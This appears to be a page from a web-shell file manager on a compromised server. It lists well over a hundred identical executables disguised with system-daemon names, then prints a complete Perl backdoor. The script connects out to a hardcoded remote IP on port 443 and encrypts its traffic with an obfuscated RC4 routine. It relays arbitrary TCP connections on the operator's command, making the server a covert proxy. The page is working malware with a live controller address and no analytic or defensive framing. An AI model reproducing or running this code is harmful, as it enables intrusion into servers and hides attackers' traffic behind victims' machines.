Gecko [ maindisinibre4.click ]

Name	Size	Permission	Date
.htaccess	197 B	-r--r--r--	2026-02-04 02:19
apache-agent.service	9.03 KB	-rwxr-xr-x	2025-12-29 17:11
apache-cache.daemon	9.03 KB	-rwxr-xr-x	2025-12-31 07:31
apache-cgi.daemon	9.03 KB	-rwxr-xr-x	2026-01-14 16:27
apache-daemon.so	9.03 KB	-rwxr-xr-x	2026-01-15 05:51
apache-fpm.cgi	9.03 KB	-rwxr-xr-x	2025-12-30 07:01
apache-helper.service	9.03 KB	-rwxr-xr-x	2025-12-29 20:41
apache-manager	9.03 KB	-rwxr-xr-x	2026-01-07 13:37
apache-manager.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 21:56
apache-monitor.so	9.03 KB	-rwxr-xr-x	2026-01-05 04:37
apache-plugin-helper	9.03 KB	-rwxr-xr-x	2025-12-30 03:12
apache-plugin.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 02:27
dbus-agent.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 21:12
dbus-cache	9.03 KB	-rwxr-xr-x	2025-12-30 04:48
dbus-daemon.so	9.03 KB	-rwxr-xr-x	2026-01-15 07:46
dbus-fpm	9.03 KB	-rwxr-xr-x	2026-01-02 01:37
dbus-fpm-helper	9.03 KB	-rwxr-xr-x	2025-12-30 03:43
dbus-fpm.cgi	9.03 KB	-rwxr-xr-x	2026-01-15 04:39
dbus-fpm.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 01:59
dbus-helper	9.03 KB	-rwxr-xr-x	2025-12-30 01:42
dbus-helper.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 04:13
dbus-manager.service	9.03 KB	-rwxr-xr-x	2025-12-30 02:57
dbus-manager.so	9.03 KB	-rwxr-xr-x	2025-12-29 21:27
dbus-monitor.daemon	9.03 KB	-rwxr-xr-x	2026-01-09 20:51
dbus-plugin.service	9.03 KB	-rwxr-xr-x	2025-12-29 20:53
dbus-plugin.so	9.03 KB	-rwxr-xr-x	2026-01-07 13:38
dbus-session.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 02:13
dbus-worker	9.03 KB	-rwxr-xr-x	2026-01-15 07:11
dbus-worker.service	9.03 KB	-rwxr-xr-x	2025-12-29 23:13
gnome-agent.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 19:30
gnome-agent.service	9.03 KB	-rwxr-xr-x	2025-12-29 22:28
gnome-agent.so	9.03 KB	-rwxr-xr-x	2026-01-06 13:38
gnome-cache.cgi	9.03 KB	-rwxr-xr-x	2025-12-31 16:46
gnome-cache.so	9.03 KB	-rwxr-xr-x	2025-12-30 02:28
gnome-cgi	9.03 KB	-rwxr-xr-x	2025-12-30 07:15
gnome-daemon-helper	9.03 KB	-rwxr-xr-x	2026-01-07 01:38
gnome-daemon.service	9.03 KB	-rwxr-xr-x	2025-12-29 18:25
gnome-daemon.so	9.03 KB	-rwxr-xr-x	2026-01-15 05:55
gnome-fpm.daemon	9.03 KB	-rwxr-xr-x	2026-01-07 19:37
gnome-helper	9.03 KB	-rwxr-xr-x	2025-12-30 10:28
gnome-helper.daemon	9.03 KB	-rwxr-xr-x	2026-01-08 07:38
gnome-monitor.daemon	9.03 KB	-rwxr-xr-x	2026-01-06 04:40
gnome-plugin.service	9.03 KB	-rwxr-xr-x	2025-12-30 06:00
gnome-plugin.so	9.03 KB	-rwxr-xr-x	2026-01-01 22:37
gnome-service.cgi	9.03 KB	-rwxr-xr-x	2025-12-30 02:59
gnome-session.cgi	9.03 KB	-rwxr-xr-x	2026-01-14 19:06
gnome-worker.so	9.03 KB	-rwxr-xr-x	2026-01-15 11:34
gvfs-agent.so	9.03 KB	-rwxr-xr-x	2026-01-08 13:39
gvfs-cache	9.03 KB	-rwxr-xr-x	2026-01-01 01:32
gvfs-daemon	9.03 KB	-rwxr-xr-x	2025-12-30 10:28
gvfs-daemon.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 04:44
gvfs-fpm.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 21:46
gvfs-fpm.service	9.03 KB	-rwxr-xr-x	2025-12-29 19:01
gvfs-helper	9.03 KB	-rwxr-xr-x	2025-12-29 15:40
gvfs-monitor-helper	9.03 KB	-rwxr-xr-x	2026-01-09 20:37
gvfs-monitor.so	9.03 KB	-rwxr-xr-x	2026-01-14 12:35
gvfs-service-helper	9.03 KB	-rwxr-xr-x	2026-01-13 07:41
gvfs-session.cgi	9.03 KB	-rwxr-xr-x	2026-01-08 19:38
gvfs-session.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 00:12
gvfs-worker.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 05:02
kde-cache	9.03 KB	-rwxr-xr-x	2025-12-30 05:05
kde-cache-helper	9.03 KB	-rwxr-xr-x	2025-12-29 17:25
kde-cgi.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 03:27
kde-daemon.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 14:24
kde-fpm.cgi	9.03 KB	-rwxr-xr-x	2026-01-13 12:44
kde-helper.so	9.03 KB	-rwxr-xr-x	2026-01-09 20:39
kde-manager	9.03 KB	-rwxr-xr-x	2026-01-10 07:41
kde-manager.cgi	9.03 KB	-rwxr-xr-x	2026-01-07 07:39
kde-plugin.so	9.03 KB	-rwxr-xr-x	2026-01-04 12:28
kde-service.daemon	9.03 KB	-rwxr-xr-x	2026-01-09 21:23
kde-worker-helper	9.03 KB	-rwxr-xr-x	2026-01-14 13:53
lib-agent	9.03 KB	-rwxr-xr-x	2025-12-30 00:12
lib-agent-helper	9.03 KB	-rwxr-xr-x	2026-01-14 22:28
lib-cache.service	9.03 KB	-rwxr-xr-x	2026-01-09 20:17
lib-cache.so	9.03 KB	-rwxr-xr-x	2026-01-09 20:08
lib-daemon	9.03 KB	-rwxr-xr-x	2026-01-04 12:24
lib-helper.cgi	9.03 KB	-rwxr-xr-x	2026-01-13 15:25
lib-manager-helper	9.03 KB	-rwxr-xr-x	2026-01-14 10:14
lib-monitor.daemon	9.03 KB	-rwxr-xr-x	2026-01-03 13:34
nginx-agent.cgi	9.03 KB	-rwxr-xr-x	2026-01-08 04:41
nginx-cache.daemon	9.03 KB	-rwxr-xr-x	2026-01-11 01:38
nginx-cgi.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 19:11
nginx-helper.cgi	9.03 KB	-rwxr-xr-x	2026-01-01 04:39
nginx-monitor.so	9.03 KB	-rwxr-xr-x	2026-01-04 12:39
nginx-plugin.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 22:12
nginx-service	9.03 KB	-rwxr-xr-x	2026-01-04 10:34
nginx-service.cgi	9.03 KB	-rwxr-xr-x	2026-01-04 14:05
nginx-session.daemon	9.03 KB	-rwxr-xr-x	2026-01-04 12:28
nginx-session.service	9.03 KB	-rwxr-xr-x	2026-01-13 01:40
nginx-session.so	9.03 KB	-rwxr-xr-x	2025-12-29 19:13
nginx-worker.cgi	9.03 KB	-rwxr-xr-x	2026-01-04 19:32
php-cache.daemon	9.03 KB	-rwxr-xr-x	2026-01-06 22:37
php-cache.so	9.03 KB	-rwxr-xr-x	2026-01-09 20:10
php-daemon-helper	9.03 KB	-rwxr-xr-x	2025-12-31 19:32
php-fpm.cgi	9.03 KB	-rwxr-xr-x	2026-01-01 22:34
php-fpm.service	9.03 KB	-rwxr-xr-x	2026-01-08 01:38
php-helper.so	9.03 KB	-rwxr-xr-x	2026-01-08 10:37
php-monitor	9.03 KB	-rwxr-xr-x	2026-01-09 23:05
php-monitor.cgi	9.03 KB	-rwxr-xr-x	2026-01-13 18:12
php-service.service	9.03 KB	-rwxr-xr-x	2026-01-02 22:33
php-session-helper	9.03 KB	-rwxr-xr-x	2026-01-01 19:38
php-session.cgi	9.03 KB	-rwxr-xr-x	2026-01-15 07:22
php-session.so	9.03 KB	-rwxr-xr-x	2026-01-13 13:27
php-worker.daemon	9.03 KB	-rwxr-xr-x	2026-01-03 10:33
pulse-agent.cgi	9.03 KB	-rwxr-xr-x	2026-01-13 04:40
pulse-cache	9.03 KB	-rwxr-xr-x	2025-12-29 20:49
pulse-daemon	9.03 KB	-rwxr-xr-x	2025-12-29 14:07
pulse-daemon.service	9.03 KB	-rwxr-xr-x	2025-12-30 07:29
pulse-fpm-helper	9.03 KB	-rwxr-xr-x	2026-01-06 07:48
pulse-helper.daemon	9.03 KB	-rwxr-xr-x	2026-01-03 10:35
pulse-helper.so	9.03 KB	-rwxr-xr-x	2026-01-09 20:22
pulse-manager.cgi	9.03 KB	-rwxr-xr-x	2026-01-14 21:09
pulse-manager.so	9.03 KB	-rwxr-xr-x	2025-12-30 02:32
pulse-plugin.cgi	9.03 KB	-rwxr-xr-x	2026-01-09 20:49
pulse-plugin.service	9.03 KB	-rwxr-xr-x	2026-01-07 19:50
pulse-session.daemon	9.03 KB	-rwxr-xr-x	2025-12-29 18:26
pulse-worker-helper	9.03 KB	-rwxr-xr-x	2026-01-14 20:39
pulse-worker.cgi	9.03 KB	-rwxr-xr-x	2026-01-02 16:33
ssh-agent.daemon	9.03 KB	-rwxr-xr-x	2025-12-29 20:28
ssh-agent.so	9.03 KB	-rwxr-xr-x	2026-01-14 22:36
ssh-cache	9.03 KB	-rwxr-xr-x	2026-01-15 12:18
ssh-cgi-helper	9.03 KB	-rwxr-xr-x	2025-12-29 15:55
ssh-daemon	9.03 KB	-rwxr-xr-x	2026-01-15 02:19
ssh-daemon-helper	9.03 KB	-rwxr-xr-x	2026-01-07 16:36
ssh-manager.cgi	9.03 KB	-rwxr-xr-x	2025-12-30 00:33
ssh-manager.service	9.03 KB	-rwxr-xr-x	2026-01-04 01:37
ssh-monitor.daemon	9.03 KB	-rwxr-xr-x	2026-01-05 13:30
ssh-worker.daemon	9.03 KB	-rwxr-xr-x	2026-01-06 19:37
systemd-agent.so	9.03 KB	-rwxr-xr-x	2025-12-29 21:29
systemd-cache	9.03 KB	-rwxr-xr-x	2026-01-05 01:34
systemd-cache.daemon	9.03 KB	-rwxr-xr-x	2025-12-29 15:11
systemd-cache.so	9.03 KB	-rwxr-xr-x	2025-12-29 20:28
systemd-fpm	9.03 KB	-rwxr-xr-x	2026-01-15 06:13
systemd-fpm.service	9.03 KB	-rwxr-xr-x	2026-01-06 07:41
systemd-helper.cgi	9.03 KB	-rwxr-xr-x	2025-12-30 02:45
systemd-helper.service	9.03 KB	-rwxr-xr-x	2025-12-31 10:32
systemd-manager.daemon	9.03 KB	-rwxr-xr-x	2026-01-13 01:40
systemd-monitor.cgi	9.03 KB	-rwxr-xr-x	2026-01-02 16:32
systemd-service-helper	9.03 KB	-rwxr-xr-x	2026-01-01 19:32
systemd-worker.service	9.03 KB	-rwxr-xr-x	2025-12-30 04:30
tracker-agent.cgi	9.03 KB	-rwxr-xr-x	2026-01-13 16:24
tracker-cgi.daemon	9.03 KB	-rwxr-xr-x	2026-01-04 01:33
tracker-cgi.so	9.03 KB	-rwxr-xr-x	2026-01-13 18:14
tracker-daemon.daemon	9.03 KB	-rwxr-xr-x	2026-01-15 08:12
tracker-helper.cgi	9.03 KB	-rwxr-xr-x	2025-12-29 18:42
tracker-manager-helper	9.03 KB	-rwxr-xr-x	2025-12-29 22:57
tracker-manager.cgi	9.03 KB	-rwxr-xr-x	2026-01-06 04:40
tracker-monitor-helper	9.03 KB	-rwxr-xr-x	2026-01-13 14:35
tracker-plugin	9.03 KB	-rwxr-xr-x	2026-01-01 16:33
tracker-plugin.cgi	9.03 KB	-rwxr-xr-x	2025-12-31 10:32
tracker-plugin.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 19:35
tracker-session-helper	9.03 KB	-rwxr-xr-x	2025-12-29 23:11
tracker-worker	9.03 KB	-rwxr-xr-x	2025-12-29 20:40
tracker-worker-helper	9.03 KB	-rwxr-xr-x	2026-01-05 16:42
tracker-worker.cgi	9.03 KB	-rwxr-xr-x	2026-01-03 04:34
udisks-agent-helper	9.03 KB	-rwxr-xr-x	2026-01-04 22:36
udisks-agent.service	9.03 KB	-rwxr-xr-x	2025-12-30 06:44
udisks-cache.service	9.03 KB	-rwxr-xr-x	2026-01-02 01:33
udisks-cache.so	9.03 KB	-rwxr-xr-x	2025-12-29 16:14
udisks-daemon-helper	9.03 KB	-rwxr-xr-x	2026-01-14 20:31
udisks-daemon.service	9.03 KB	-rwxr-xr-x	2026-01-03 16:34
udisks-fpm-helper	9.03 KB	-rwxr-xr-x	2025-12-30 00:56
udisks-helper.daemon	9.03 KB	-rwxr-xr-x	2025-12-30 16:32
udisks-monitor-helper	9.03 KB	-rwxr-xr-x	2026-01-06 10:37
udisks-monitor.cgi	9.03 KB	-rwxr-xr-x	2026-01-04 16:34
udisks-monitor.daemon	9.03 KB	-rwxr-xr-x	2026-01-01 22:31
udisks-plugin.service	9.03 KB	-rwxr-xr-x	2026-01-09 04:35
udisks-service.service	9.03 KB	-rwxr-xr-x	2025-12-29 23:47
udisks-session-helper	9.03 KB	-rwxr-xr-x	2025-12-30 00:29
udisks-session.cgi	9.03 KB	-rwxr-xr-x	2025-12-30 01:12

Rename

#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '62.60.131.185';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

$pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

$pockemon2++;

if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

$pockemon1 += $t;

$pockemon1 = $pockemon1 & 255;

$pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

$pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

$pockemon1 = 0;

$pockemon0 = 0;

$pockemon2 = 0;

$pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

$pockemon2 = $pockemon2 & 255;

$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

$pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

$pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

open(my $fh, "<", '/dev/null');

flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);